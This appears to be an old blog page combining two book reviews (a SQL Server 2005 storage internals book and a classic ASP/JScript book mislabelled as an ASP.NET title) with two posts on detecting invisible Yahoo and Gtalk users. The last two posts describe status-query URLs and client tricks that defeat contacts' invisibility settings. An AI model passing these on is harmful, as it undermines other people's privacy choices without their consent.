Understanding the internals of storage in SQL Server helps database developers and administrators to better create, maintain, and mine information from enterprise data. This practical, hands-on book focuses on the SQL Server 2005 Storage Engine and delves deep into the structures used for storing data, including files, tables, indexes, and data types. Topics also include security details, with coverage of the new SQL Server 2005 security model, and data protection through the backup and restore algorithms. With pragmatic advice, best practices, extensive code samples, and table examples, developers and database administrators will find the guidance they need to better understand how to build powerful, efficient databases.

This book is perhaps the best book out there for understanding SQL 2005 architecture. I know of no other book which offers such advanced understanding of how SQL 2005 stores, retrives, and manages data.

Indeed, the author is a MS SQL MVP and has written with collaboration of those who have wrote the code for MS SQL 2005 at Microsoft.

The author's explaination, however, could be a lot better. For example, here is an exerpt on the author's explaination of IAM (Index Allocation Map):

"An IAM page contains a page header; an IAM page header, which contains eight page pointer slots; and a set of bits that map a range of extents on a file, which doesn't neccessarily have to be the same file that IAM page is in. The header has address of first extent in the range mapped by the IAM. The eight page pointer slots might contain pointers to pages belonging to the relevant object contained in mixed extents; only the first IAM for an object has values in these pointers."

Now, I have worked with databases for over a decade and have good understanding of Indexes and its structure, and I still did not understand what the author was talking about on some sentences.

Pros:
1)Explains data and index storage structures (Page, extents, B-Tree, Keys etc) and how they are managed in transactions (update, delete, insert) better than any book I know.
2)Relatively short book (400 pages) which does not waste words or sentences to make it a thicker book (common practice to write a thicker book for a higher price).

Cons:
1)Tries to combine MS SQL 101 topics (What is Master, MSDB, TEMP, and MODEL db?) with expert subject matter (What is IAM, Cluster Keys, RID, etc).
2)Writing is sometimes indecipherable.
3)Mostly not for the beginners (despite its rudimentrary coverage of the basics).

ASP.NET 2.0 FOR DUMMIES

2009-11-13T16:42:00.002+05:30

If you want to learn server side scripting in VBScript you can go pretty much anywhere. If you want to learn server side scripting in JScript then this one of the few places to go. The JScript examples aren't much but they're better than nothing and the examples all work. I knew C/C++, SQL and some client side Javascript so it seemed like a natural way to go but there is simply not much written about server side scripting in JScript.

Even though most of the examples are written in VBScript, they are clear and challenging enough to get you going. One the hardest hurdles is loading the Personal Web Server. If you don't already have a favorite HTML or ASP editor try UltraEdit32 and do yourself a favor from the beginning download the Script Debugger if your using Internet Explorer. It's free and like so many other things that go into learning Active Server Pages "it's better than nothing".

Overall I like the book and the humor is tolerable. If he ever wants to write another I'd be happy to provide some additional JScript examples. I know enough to get buy for now and in the end that's what I wanted. I had a project that needed to get done by the end of the year and it looks like I'll make it.

Thanks to all of you who have written these reviews in the past. For the most part they have faithfully guided me to the most useful and most useable sources of information available.

How to find if someone is invisible or online or offline in Yahoo.

2009-04-23T12:46:00.001+05:30

So here is simple way to find out who is invisible/offline/online in yahoo.
Just paste the following code in address bar & follow the steps & see the status.
http://opi.yahoo.com/online?u=insert Yahoo ID&m =g&t=2
replace the "insert Yahoo ID" with the yahoo email id of the person and open this whole address into the address bar and hit enter ,
eg: let id is crypto@yahoo.com then the url must be like this:
http://opi.yahoo.com/online?u=crypto@yahoo.com ID&m =g&t=2
u can search for all ur friends, whether they are online or offline.
Note: m can has values g or t, t stands for text and g for graphics whereas t can be 1, 2 or 3 for size of text or graphic....

How to know if someone is Invisible/hidden or Offline on Gtalk.

2009-04-23T12:38:00.002+05:30

Now if you want to fool the people and know about their online status even when they have logged in with invisible feature activated, then this is possible. There are two ways to do this.
You need to have a GPRS enabled mobile handset.
Download a free software called gotalkmobile on your handset and install it.
After the installation, log on to your GTalk account with your login details.
Now, this will show you the entire online friends list. It does not matter if they are online or invisible.
In this way you can catch your offline friends as well. The persons who are being shown as offline, are not present on GTalk.
And you are done above. You will notice those online (visible + invisible) as well as the offline friends.
Now u can even disturb that clever fools ;-)

So another way is that u just go Off the record with target user that is chats will now be not saved.
This can be only done when the target user is online.
Now when the target user is offline/hidden/invisible just try to send him/her the messages in chat. if the target is invisible but not offline then he/she can receive ur chats. but if the target user is offline then u'll receive an error did not receive your chat.
